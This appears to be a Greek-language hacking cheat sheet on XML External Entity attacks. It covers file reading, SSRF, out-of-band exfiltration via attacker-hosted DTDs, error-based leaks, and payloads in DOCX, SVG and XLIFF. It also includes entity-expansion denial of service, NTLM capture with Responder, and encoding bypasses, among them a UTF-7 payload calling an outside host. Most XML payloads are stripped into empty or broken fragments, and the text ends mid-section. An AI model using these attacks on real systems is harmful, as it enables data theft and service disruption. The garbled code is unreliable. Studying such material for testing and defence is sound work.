# XXE - XEE - XML External Entity {{#include ../banners/hacktricks-training.md}} ## XML Basics Το XML είναι μια γλώσσα σήμανσης σχεδιασμένη για αποθήκευση και μεταφορά δεδομένων, με μια ευέλικτη δομή που επιτρέπει τη χρήση περιγραφικών ετικετών. Διαφέρει από το HTML καθώς δεν περιορίζεται σε ένα σύνολο προκαθορισμένων ετικετών. Η σημασία του XML έχει μειωθεί με την άνοδο του JSON, παρά τον αρχικό του ρόλο στην τεχνολογία AJAX. - **Αναπαράσταση Δεδομένων μέσω Οντοτήτων**: Οι οντότητες στο XML επιτρέπουν την αναπαράσταση δεδομένων, συμπεριλαμβανομένων ειδικών χαρακτήρων όπως `<` και `>`, που αντιστοιχούν σε `<` και `>` για να αποφευχθεί η σύγκρουση με το σύστημα ετικετών του XML. - **Ορισμός Στοιχείων XML**: Το XML επιτρέπει τον ορισμό τύπων στοιχείων, περιγράφοντας πώς θα πρέπει να δομούνται τα στοιχεία και τι περιεχόμενο μπορεί να περιέχουν, από οποιοδήποτε τύπο περιεχομένου έως συγκεκριμένα παιδικά στοιχεία. - **Ορισμός Τύπου Εγγράφου (DTD)**: Τα DTD είναι κρίσιμα στο XML για τον ορισμό της δομής του εγγράφου και των τύπων δεδομένων που μπορεί να περιέχει. Μπορούν να είναι εσωτερικά, εξωτερικά ή ένας συνδυασμός, καθοδηγώντας το πώς μορφοποιούνται και επικυρώνονται τα έγγραφα. - **Προσαρμοσμένες και Εξωτερικές Οντότητες**: Το XML υποστηρίζει τη δημιουργία προσαρμοσμένων οντοτήτων εντός ενός DTD για ευέλικτη αναπαράσταση δεδομένων. Οι εξωτερικές οντότητες, που ορίζονται με μια διεύθυνση URL, εγείρουν ανησυχίες ασφαλείας, ιδιαίτερα στο πλαίσιο επιθέσεων XML External Entity (XXE), οι οποίες εκμεταλλεύονται τον τρόπο που οι αναλυτές XML χειρίζονται εξωτερικές πηγές δεδομένων: ` ]>` - **Ανίχνευση XXE με Οντότητες Παραμέτρων**: Για την ανίχνευση ευπαθειών XXE, ειδικά όταν οι συμβατικές μέθοδοι αποτυγχάνουν λόγω μέτρων ασφαλείας του αναλυτή, μπορούν να χρησιμοποιηθούν οντότητες παραμέτρων XML. Αυτές οι οντότητες επιτρέπουν τεχνικές ανίχνευσης εκτός ζώνης, όπως η ενεργοποίηση αναζητήσεων DNS ή HTTP αιτημάτων σε έναν ελεγχόμενο τομέα, για να επιβεβαιωθεί η ευπάθεια. - ` ]>` - ` ]>` ## Main attacks [**Οι περισσότερες από αυτές τις επιθέσεις δοκιμάστηκαν χρησιμοποιώντας τα καταπληκτικά εργαστήρια XEE του Portswiggers: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe) ### New Entity test Σε αυτή την επίθεση θα δοκιμάσω αν μια απλή δήλωση ΝΕΑΣ ΟΝΤΟΤΗΤΑΣ λειτουργεί. ```xml ]> &toreplace; 1 ``` ![](<../images/image (870).png>) ### Ανάγνωση αρχείου Ας προσπαθήσουμε να διαβάσουμε το `/etc/passwd` με διάφορους τρόπους. Για Windows, μπορείτε να προσπαθήσετε να διαβάσετε: `C:\windows\system32\drivers\etc\hosts` Σε αυτή την πρώτη περίπτωση, παρατηρήστε ότι το SYSTEM "_**file:///**etc/passwd_" θα λειτουργήσει επίσης. ```xml ]> &example; ``` ![](<../images/image (86).png>) Αυτή η δεύτερη περίπτωση θα πρέπει να είναι χρήσιμη για την εξαγωγή ενός αρχείου αν ο διακομιστής ιστού χρησιμοποιεί PHP (Δεν ισχύει για τα εργαστήρια Portswigger) ```xml ]> &example; ``` Σε αυτή την τρίτη περίπτωση παρατηρήστε ότι δηλώνουμε το `Element stockCheck` ως ANY ```xml ]> &file; 1 ``` ![](<../images/image (753).png>) ### Κατάλογος καταλόγου Σε εφαρμογές που βασίζονται σε **Java**, μπορεί να είναι δυνατό να **καταχωρήσετε τα περιεχόμενα ενός καταλόγου** μέσω XXE με ένα payload όπως (απλώς ζητώντας τον κατάλογο αντί για το αρχείο): ```xml ]>&xxe; ]>&xxe; ``` ### SSRF Ένα XXE θα μπορούσε να χρησιμοποιηθεί για να καταχραστεί μια SSRF μέσα σε ένα cloud ```xml ]> &xxe;1 ``` ### Blind SSRF Χρησιμοποιώντας την **προηγουμένως σχολιασμένη τεχνική** μπορείτε να κάνετε τον διακομιστή να έχει πρόσβαση σε έναν διακομιστή που ελέγχετε για να δείξει ότι είναι ευάλωτος. Αλλά, αν αυτό δεν λειτουργεί, ίσως είναι επειδή **οι οντότητες XML δεν επιτρέπονται**, σε αυτή την περίπτωση θα μπορούσατε να δοκιμάσετε να χρησιμοποιήσετε **οντότητες παραμέτρων XML**: ```xml %xxe; ]> 3;1 ``` ### "Blind" SSRF - Εξαγωγή δεδομένων εκτός ζώνης **Σε αυτή την περίπτωση, θα κάνουμε τον διακομιστή να φορτώσει μια νέα DTD με ένα κακόβουλο payload που θα στείλει το περιεχόμενο ενός αρχείου μέσω HTTP αιτήματος (για αρχεία πολλαπλών γραμμών μπορείτε να προσπαθήσετε να το εξαγάγετε μέσω \_ftp://**\_ χρησιμοποιώντας αυτόν τον βασικό διακομιστή για παράδειγμα [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Αυτή η εξήγηση βασίζεται σε** [**Portswiggers lab εδώ**](https://portswigger.net/web-security/xxe/blind)**.** Στην δεδομένη κακόβουλη DTD, εκτελούνται μια σειρά βημάτων για την εξαγωγή δεδομένων: ### Παράδειγμα Κακόβουλης DTD: Η δομή είναι ως εξής: ```xml "> %eval; %exfiltrate; ``` Τα βήματα που εκτελούνται από αυτό το DTD περιλαμβάνουν: 1. **Ορισμός Οντοτήτων Παραμέτρων:** - Μια οντότητα παραμέτρου XML, `%file`, δημιουργείται, διαβάζοντας το περιεχόμενο του αρχείου `/etc/hostname`. - Μια άλλη οντότητα παραμέτρου XML, `%eval`, ορίζεται. Δημιουργεί δυναμικά μια νέα οντότητα παραμέτρου XML, `%exfiltrate`. Η οντότητα `%exfiltrate` ρυθμίζεται ώστε να κάνει ένα HTTP αίτημα στον διακομιστή του επιτιθέμενου, περνώντας το περιεχόμενο της οντότητας `%file` μέσα στη συμβολοσειρά ερωτήματος της διεύθυνσης URL. 2. **Εκτέλεση Οντοτήτων:** - Η οντότητα `%eval` χρησιμοποιείται, οδηγώντας στην εκτέλεση της δυναμικής δήλωσης της οντότητας `%exfiltrate`. - Η οντότητα `%exfiltrate` χρησιμοποιείται στη συνέχεια, ενεργοποιώντας ένα HTTP αίτημα στη συγκεκριμένη διεύθυνση URL με το περιεχόμενο του αρχείου. Ο επιτιθέμενος φιλοξενεί αυτό το κακόβουλο DTD σε έναν διακομιστή υπό τον έλεγχό του, συνήθως σε μια διεύθυνση URL όπως `http://web-attacker.com/malicious.dtd`. **XXE Payload:** Για να εκμεταλλευτεί μια ευάλωτη εφαρμογή, ο επιτιθέμενος στέλνει ένα XXE payload: ```xml %xxe;]> 3;1 ``` Αυτό το payload ορίζει μια XML παράμετρο οντότητας `%xxe` και την ενσωματώνει μέσα στο DTD. Όταν επεξεργαστεί από έναν αναλυτή XML, αυτό το payload ανακτά το εξωτερικό DTD από τον διακομιστή του επιτιθέμενου. Ο αναλυτής στη συνέχεια ερμηνεύει το DTD inline, εκτελώντας τα βήματα που περιγράφονται στο κακόβουλο DTD και οδηγώντας στην εξαγωγή του αρχείου `/etc/hostname` στον διακομιστή του επιτιθέμενου. ### Error Based(External DTD) **Σε αυτή την περίπτωση, θα κάνουμε τον διακομιστή να φορτώσει ένα κακόβουλο DTD που θα δείξει το περιεχόμενο ενός αρχείου μέσα σε ένα μήνυμα σφάλματος (αυτό είναι έγκυρο μόνο αν μπορείτε να δείτε μηνύματα σφάλματος).** [**Παράδειγμα από εδώ.**](https://portswigger.net/web-security/xxe/blind) Ένα μήνυμα σφάλματος ανάλυσης XML, αποκαλύπτοντας τα περιεχόμενα του αρχείου `/etc/passwd`, μπορεί να προκληθεί χρησιμοποιώντας ένα κακόβουλο εξωτερικό Document Type Definition (DTD). Αυτό επιτυγχάνεται μέσω των παρακάτω βημάτων: 1. Ορίζεται μια XML παράμετρος οντότητας με το όνομα `file`, η οποία περιέχει τα περιεχόμενα του αρχείου `/etc/passwd`. 2. Ορίζεται μια XML παράμετρος οντότητας με το όνομα `eval`, ενσωματώνοντας μια δυναμική δήλωση για μια άλλη XML παράμετρο οντότητας με το όνομα `error`. Αυτή η οντότητα `error`, όταν αξιολογηθεί, προσπαθεί να φορτώσει ένα ανύπαρκτο αρχείο, ενσωματώνοντας τα περιεχόμενα της οντότητας `file` ως το όνομά της. 3. Η οντότητα `eval` καλείται, οδηγώντας στη δυναμική δήλωση της οντότητας `error`. 4. Η κλήση της οντότητας `error` έχει ως αποτέλεσμα μια προσπάθεια φόρτωσης ενός ανύπαρκτου αρχείου, παράγοντας ένα μήνυμα σφάλματος που περιλαμβάνει τα περιεχόμενα του αρχείου `/etc/passwd` ως μέρος του ονόματος του αρχείου. Το κακόβουλο εξωτερικό DTD μπορεί να κληθεί με το παρακάτω XML: ```xml %xxe;]> 3;1 ``` Κατά την εκτέλεση, η απάντηση του διακομιστή ιστού θα πρέπει να περιλαμβάνει ένα μήνυμα σφάλματος που να εμφανίζει τα περιεχόμενα του αρχείου `/etc/passwd`. ![](<../images/image (809).png>) _**Παρακαλώ σημειώστε ότι η εξωτερική DTD μας επιτρέπει να συμπεριλάβουμε μία οντότητα μέσα στη δεύτερη `eval`), αλλά αυτό απαγορεύεται στην εσωτερική DTD. Επομένως, δεν μπορείτε να προκαλέσετε ένα σφάλμα χωρίς να χρησιμοποιήσετε μια εξωτερική DTD (συνήθως).**_ ### **Σφάλμα Βασισμένο (σύστημα DTD)** Τι γίνεται με τις τυφλές ευπάθειες XXE όταν **οι εκτός ζώνης αλληλεπιδράσεις είναι αποκλεισμένες** (οι εξωτερικές συνδέσεις δεν είναι διαθέσιμες); Μια παραθυράκι στην προδιαγραφή γλώσσας XML μπορεί να **εκθέσει ευαίσθητα δεδομένα μέσω μηνυμάτων σφάλματος όταν η DTD ενός εγγράφου συνδυάζει εσωτερικές και εξωτερικές δηλώσεις**. Αυτό το ζήτημα επιτρέπει την εσωτερική αναdefinition των οντοτήτων που δηλώνονται εξωτερικά, διευκολύνοντας την εκτέλεση επιθέσεων XXE βασισμένων σε σφάλματα. Τέτοιες επιθέσεις εκμεταλλεύονται την αναdefinition μιας παραμέτρου οντότητας XML, που αρχικά δηλώθηκε σε μια εξωτερική DTD, από μέσα σε μια εσωτερική DTD. Όταν οι εκτός ζώνης συνδέσεις αποκλείονται από τον διακομιστή, οι επιτιθέμενοι πρέπει να βασιστούν σε τοπικά αρχεία DTD για να διεξάγουν την επίθεση, στοχεύοντας να προκαλέσουν ένα σφάλμα ανάλυσης για να αποκαλύψουν ευαίσθητες πληροφορίες. Σκεφτείτε ένα σενάριο όπου το σύστημα αρχείων του διακομιστή περιέχει ένα αρχείο DTD στο `/usr/local/app/schema.dtd`, που ορίζει μια οντότητα με το όνομα `custom_entity`. Ένας επιτιθέμενος μπορεί να προκαλέσει ένα σφάλμα ανάλυσης XML αποκαλύπτοντας τα περιεχόμενα του αρχείου `/etc/passwd` υποβάλλοντας μια υβριδική DTD ως εξής: ```xml "> %eval; %error; '> %local_dtd; ]> ``` Οι καθορισμένες διαδικασίες εκτελούνται από αυτό το DTD: - Ο ορισμός μιας XML παραμέτρου οντότητας με όνομα `local_dtd` περιλαμβάνει το εξωτερικό αρχείο DTD που βρίσκεται στο σύστημα αρχείων του διακομιστή. - Μια επαναορισμός συμβαίνει για την XML παράμετρο οντότητας `custom_entity`, που αρχικά ορίστηκε στο εξωτερικό DTD, για να περιλάβει μια [εκμετάλλευση XXE βασισμένη σε σφάλματα](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Αυτή η επαναορισμός έχει σχεδιαστεί για να προκαλέσει ένα σφάλμα ανάλυσης, εκθέτοντας τα περιεχόμενα του αρχείου `/etc/passwd`. - Χρησιμοποιώντας την οντότητα `local_dtd`, ενεργοποιείται το εξωτερικό DTD, περιλαμβάνοντας την νεοκαθορισμένη `custom_entity`. Αυτή η ακολουθία ενεργειών προκαλεί την εκπομπή του μηνύματος σφάλματος που επιδιώκεται από την εκμετάλλευση. **Παράδειγμα από τον πραγματικό κόσμο:** Τα συστήματα που χρησιμοποιούν το περιβάλλον επιφάνειας εργασίας GNOME συχνά έχουν ένα DTD στο `/usr/share/yelp/dtd/docbookx.dtd` που περιέχει μια οντότητα που ονομάζεται `ISOamso`. ```xml "> %eval; %error; '> %local_dtd; ]> 3;1 ``` ![](<../images/image (625).png>) Καθώς αυτή η τεχνική χρησιμοποιεί ένα **εσωτερικό DTD, πρέπει πρώτα να βρείτε ένα έγκυρο**. Μπορείτε να το κάνετε αυτό **εγκαθιστώντας** το ίδιο **ΛΣ / Λογισμικό** που χρησιμοποιεί ο διακομιστής και **αναζητώντας μερικά προεπιλεγμένα DTDs**, ή **λαμβάνοντας μια λίστα** με **προεπιλεγμένα DTDs** μέσα σε συστήματα και **ελέγχοντας** αν κάποιο από αυτά υπάρχει: ```xml %local_dtd; ]> ``` Για περισσότερες πληροφορίες ελέγξτε [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind) ### Εύρεση DTDs μέσα στο σύστημα Στο παρακάτω καταπληκτικό github repo μπορείτε να βρείτε **διαδρομές DTDs που μπορεί να υπάρχουν στο σύστημα**: {{#ref}} https://github.com/GoSecure/dtd-finder/tree/master/list {{#endref}} Επιπλέον, αν έχετε την **εικόνα Docker του συστήματος του θύματος**, μπορείτε να χρησιμοποιήσετε το εργαλείο του ίδιου repo για να **σκανάρετε** την **εικόνα** και να **βρείτε** τη διαδρομή των **DTDs** που υπάρχουν μέσα στο σύστημα. Διαβάστε το [Readme του github](https://github.com/GoSecure/dtd-finder) για να μάθετε πώς. ```bash java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar Scanning TAR file /tmp/dadocker.tar [=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd Testing 0 entities : [] [=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd Testing 0 entities : [] ``` ### XXE μέσω Παρσών Office Open XML Για μια πιο λεπτομερή εξήγηση αυτής της επίθεσης, **ελέγξτε τη δεύτερη ενότητα του** [**αυτού του καταπληκτικού άρθρου**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **από την Detectify**. Η δυνατότητα να **ανεβάζετε έγγραφα Microsoft Office προσφέρεται από πολλές διαδικτυακές εφαρμογές**, οι οποίες στη συνέχεια προχωρούν στην εξαγωγή ορισμένων λεπτομερειών από αυτά τα έγγραφα. Για παράδειγμα, μια διαδικτυακή εφαρμογή μπορεί να επιτρέπει στους χρήστες να εισάγουν δεδομένα ανεβάζοντας ένα υπολογιστικό φύλλο σε μορφή XLSX. Για να μπορέσει ο παρσέας να εξαγάγει τα δεδομένα από το υπολογιστικό φύλλο, θα χρειαστεί αναπόφευκτα να αναλύσει τουλάχιστον ένα XML αρχείο. Για να δοκιμάσετε αυτήν την ευπάθεια, είναι απαραίτητο να δημιουργήσετε ένα **αρχείο Microsoft Office που περιέχει ένα XXE payload**. Το πρώτο βήμα είναι να δημιουργήσετε έναν κενό φάκελο στον οποίο μπορεί να αποσυμπιεστεί το έγγραφο. Αφού το έγγραφο έχει αποσυμπιεστεί, το XML αρχείο που βρίσκεται στο `./unzipped/word/document.xml` θα πρέπει να ανοιχτεί και να επεξεργαστεί σε έναν προτιμώμενο επεξεργαστή κειμένου (όπως το vim). Το XML θα πρέπει να τροποποιηθεί ώστε να περιλαμβάνει το επιθυμητό XXE payload, συχνά ξεκινώντας με ένα HTTP αίτημα. Οι τροποποιημένες γραμμές XML θα πρέπει να εισαχθούν μεταξύ των δύο ριζικών XML αντικειμένων. Είναι σημαντικό να αντικαταστήσετε τη διεύθυνση URL με μια παρακολουθήσιμη διεύθυνση URL για τα αιτήματα. Τέλος, το αρχείο μπορεί να συμπιεστεί για να δημιουργηθεί το κακόβουλο poc.docx αρχείο. Από τον προηγουμένως δημιουργημένο φάκελο "unzipped", θα πρέπει να εκτελεστεί η εξής εντολή: Τώρα, το δημιουργηθέν αρχείο μπορεί να ανέβει στην ενδεχομένως ευάλωτη διαδικτυακή εφαρμογή, και μπορεί κανείς να ελπίζει ότι θα εμφανιστεί ένα αίτημα στα αρχεία καταγραφής του Burp Collaborator. ### Jar: πρωτόκολλο Το **jar** πρωτόκολλο είναι προσβάσιμο αποκλειστικά εντός **εφαρμογών Java**. Είναι σχεδιασμένο για να επιτρέπει την πρόσβαση σε αρχεία εντός ενός **PKZIP** αρχείου (π.χ., `.zip`, `.jar`, κ.λπ.), εξυπηρετώντας τόσο τοπικά όσο και απομακρυσμένα αρχεία. ``` jar:file:///var/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt ``` > [!CAUTION] > Για να μπορέσετε να έχετε πρόσβαση σε αρχεία μέσα σε αρχεία PKZIP είναι **πολύ χρήσιμο για την κατάχρηση XXE μέσω αρχείων DTD συστήματος.** Ελέγξτε [αυτή την ενότητα για να μάθετε πώς να καταχραστείτε τα αρχεία DTD συστήματος](xxe-xee-xml-external-entity.md#error-based-system-dtd). Η διαδικασία πίσω από την πρόσβαση σε ένα αρχείο μέσα σε ένα αρχείο PKZIP μέσω του πρωτοκόλλου jar περιλαμβάνει αρκετά βήματα: 1. Γίνεται ένα HTTP αίτημα για να κατεβάσετε το αρχείο zip από μια καθορισμένη τοποθεσία, όπως `https://download.website.com/archive.zip`. 2. Η HTTP απάντηση που περιέχει το αρχείο αποθηκεύεται προσωρινά στο σύστημα, συνήθως σε μια τοποθεσία όπως `/tmp/...`. 3. Το αρχείο στη συνέχεια εξάγεται για να αποκτήσετε πρόσβαση στα περιεχόμενά του. 4. Το συγκεκριμένο αρχείο μέσα στο αρχείο, `file.zip`, διαβάζεται. 5. Μετά τη διαδικασία, οποιαδήποτε προσωρινά αρχεία δημιουργήθηκαν κατά τη διάρκεια αυτής της διαδικασίας διαγράφονται. Μια ενδιαφέρουσα τεχνική για να διακόψετε αυτή τη διαδικασία στο δεύτερο βήμα περιλαμβάνει τη διατήρηση της σύνδεσης του διακομιστή ανοιχτής επ' αόριστον κατά την εξυπηρέτηση του αρχείου αρχείου. Εργαλεία διαθέσιμα σε [αυτό το αποθετήριο](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) μπορούν να χρησιμοποιηθούν για αυτό το σκοπό, συμπεριλαμβανομένου ενός διακομιστή Python (`slow_http_server.py`) και ενός διακομιστή Java (`slowserver.jar`). ```xml ]> &xxe; ``` > [!CAUTION] > Η εγγραφή αρχείων σε έναν προσωρινό φάκελο μπορεί να βοηθήσει στην **κλιμάκωση μιας άλλης ευπάθειας που περιλαμβάνει διαδρομή διασύνδεσης** (όπως το local file include, template injection, XSLT RCE, deserialization, κ.λπ.). ### XSS ```xml script]]>alert(1)/script]]> ``` ### DoS #### Επίθεση Δισεκατομμυρίων Γελάδων ```xml ]> &a4; ``` #### Επίθεση Yaml ```xml a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] ``` #### Quadratic Blowup Attack ![](<../images/image (527).png>) #### Getting NTML Σε υπολογιστές Windows, είναι δυνατό να αποκτήσετε το NTML hash του χρήστη του web server ρυθμίζοντας έναν handler στο responder.py: ```bash Responder.py -I eth0 -v ``` και στέλνοντας το ακόλουθο αίτημα ```xml ]> &example; ``` Then you can try to crack the hash using hashcat ## Hidden XXE Surfaces ### XInclude Όταν ενσωματώνετε δεδομένα πελάτη σε έγγραφα XML πλευράς διακομιστή, όπως αυτά σε αιτήματα SOAP backend, ο άμεσος έλεγχος της δομής XML είναι συχνά περιορισμένος, εμποδίζοντας τις παραδοσιακές επιθέσεις XXE λόγω περιορισμών στην τροποποίηση του στοιχείου `DOCTYPE`. Ωστόσο, μια επίθεση `XInclude` παρέχει μια λύση επιτρέποντας την εισαγωγή εξωτερικών οντοτήτων μέσα σε οποιοδήποτε στοιχείο δεδομένων του εγγράφου XML. Αυτή η μέθοδος είναι αποτελεσματική ακόμη και όταν μόνο ένα μέρος των δεδομένων μέσα σε ένα έγγραφο XML που παράγεται από τον διακομιστή μπορεί να ελεγχθεί. Για να εκτελέσετε μια επίθεση `XInclude`, πρέπει να δηλωθεί ο χώρος ονομάτων `XInclude`, και η διαδρομή αρχείου για την προοριζόμενη εξωτερική οντότητα πρέπει να καθοριστεί. Παρακάτω είναι ένα συνοπτικό παράδειγμα του πώς μπορεί να διαμορφωθεί μια τέτοια επίθεση: ```xml productId=&storeId=1 ``` Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info! ### SVG - Αποστολή Αρχείου Τα αρχεία που ανεβάζουν οι χρήστες σε ορισμένες εφαρμογές, τα οποία στη συνέχεια επεξεργάζονται στον διακομιστή, μπορούν να εκμεταλλευτούν ευπάθειες στον τρόπο που διαχειρίζονται τα XML ή τα αρχεία που περιέχουν XML. Κοινές μορφές αρχείων όπως τα έγγραφα γραφείου (DOCX) και οι εικόνες (SVG) βασίζονται σε XML. Όταν οι χρήστες **ανεβάζουν εικόνες**, αυτές οι εικόνες επεξεργάζονται ή επικυρώνονται από τον διακομιστή. Ακόμα και για εφαρμογές που αναμένουν μορφές όπως PNG ή JPEG, η **βιβλιοθήκη επεξεργασίας εικόνας του διακομιστή μπορεί επίσης να υποστηρίζει εικόνες SVG**. Το SVG, ως μορφή βασισμένη σε XML, μπορεί να εκμεταλλευτεί από επιτιθέμενους για να υποβάλουν κακόβουλες εικόνες SVG, εκθέτοντας έτσι τον διακομιστή σε ευπάθειες XXE (XML External Entity). Ένα παράδειγμα μιας τέτοιας εκμετάλλευσης φαίνεται παρακάτω, όπου μια κακόβουλη εικόνα SVG προσπαθεί να διαβάσει αρχεία συστήματος: ```xml ``` Μια άλλη μέθοδος περιλαμβάνει την προσπάθεια **εκτέλεσης εντολών** μέσω του PHP "expect" wrapper: ```xml ``` Σε και τις δύο περιπτώσεις, η μορφή SVG χρησιμοποιείται για την εκκίνηση επιθέσεων που εκμεταλλεύονται τις δυνατότητες επεξεργασίας XML του λογισμικού του διακομιστή, υπογραμμίζοντας την ανάγκη για ισχυρή επικύρωση εισόδου και μέτρα ασφαλείας. Δείτε [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) για περισσότερες πληροφορίες! **Σημειώστε ότι η πρώτη γραμμή του αναγνωσμένου αρχείου ή του αποτελέσματος της εκτέλεσης θα εμφανιστεί ΜΕΣΑ στην δημιουργημένη εικόνα. Έτσι, πρέπει να μπορείτε να έχετε πρόσβαση στην εικόνα που έχει δημιουργήσει το SVG.** ### **PDF - Μεταφόρτωση αρχείου** Διαβάστε την παρακάτω ανάρτηση για **να μάθετε πώς να εκμεταλλευτείτε μια XXE ανεβάζοντας ένα αρχείο PDF**: {{#ref}} file-upload/pdf-upload-xxe-and-cors-bypass.md {{#endref}} ### Content-Type: Από x-www-urlencoded σε XML Εάν ένα αίτημα POST δέχεται τα δεδομένα σε μορφή XML, θα μπορούσατε να προσπαθήσετε να εκμεταλλευτείτε μια XXE σε αυτό το αίτημα. Για παράδειγμα, εάν ένα κανονικό αίτημα περιέχει τα εξής: ```xml POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 7 foo=bar ``` Τότε μπορεί να είστε σε θέση να υποβάλετε το ακόλουθο αίτημα, με το ίδιο αποτέλεσμα: ```xml POST /action HTTP/1.0 Content-Type: text/xml Content-Length: 52 bar ``` ### Content-Type: Από JSON σε XEE Για να αλλάξετε το αίτημα, μπορείτε να χρησιμοποιήσετε μια επέκταση του Burp που ονομάζεται “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example: ```xml Content-Type: application/json;charset=UTF-8 {"root": {"root": { "firstName": "Avinash", "lastName": "", "country": "United States", "city": "ddd", "postalCode": "ddd" }}} ``` ```xml Content-Type: application/xml;charset=UTF-8 ]> &xxe; United States ddd ddd ``` Ένα άλλο παράδειγμα μπορεί να βρεθεί [εδώ](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2). ## WAF & Παράκαμψη Προστασιών ### Base64 ```xml %init; ]> ``` Αυτό λειτουργεί μόνο αν ο διακομιστής XML αποδέχεται το πρωτόκολλο `data://`. ### UTF-7 Μπορείτε να χρησιμοποιήσετε την \[**"Συνταγή Κωδικοποίησης" του cyberchef εδώ ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) για να μετατρέψετε σε UTF-7. ```xml +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- ``` ```xml +ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4 +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+ +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4 ``` ### File:/ Protocol Bypass Αν ο ιστότοπος χρησιμοποιεί PHP, αντί να χρησιμοποιήσετε `file:/` μπορείτε να χρησιμοποιήσετε **php wrappers**`php://filter/convert.base64-encode/resource=` για να **πρόσβαση σε εσωτερικά αρχεία**. Αν ο ιστότοπος χρησιμοποιεί Java, μπορείτε να ελέγξετε το [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol). ### HTML Entities Trick από [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\ Μπορείτε να δημιουργήσετε μια **οντότητα μέσα σε μια οντότητα** κωδικοποιώντας την με **html entities** και στη συνέχεια να την καλέσετε για να **φορτώσετε ένα dtd**.\ Σημειώστε ότι οι **HTML Entities** που χρησιμοποιούνται πρέπει να είναι **αριθμητικές** (όπως \[σε αυτό το παράδειγμα]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\]()). ```xml %a;%dtd;]> &exfil; ``` DTD παράδειγμα: ```xml "> %abt; %exfil; ``` ## PHP Wrappers ### Base64 **Extract** _**index.php**_ ```xml ]> ``` #### **Εξαγωγή εξωτερικού πόρου** ```xml ]> ``` ### Remote code execution **Αν το module "expect" του PHP είναι φορτωμένο** ```xml ]> &xxe; mypass ``` ## **SOAP - XEE** ```xml %dtd;]>]]> ``` ## XLIFF - XXE Αυτό το παράδειγμα είναι εμπνευσμένο από [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) XLIFF (XML Localization Interchange File Format) χρησιμοποιείται για την τυποποίηση της ανταλλαγής δεδομένων στις διαδικασίες τοπικοποίησης. Είναι μια μορφή βασισμένη σε XML που χρησιμοποιείται κυρίως για τη μεταφορά τοπικοποιήσιμων δεδομένων μεταξύ εργαλείων κατά τη διάρκεια της τοπικοποίησης και ως κοινή μορφή ανταλλαγής για εργαλεία CAT (Computer-Aided Translation). ### Blind Request Analysis Ένα αίτημα αποστέλλεται στον διακομιστή με το εξής περιεχόμενο: 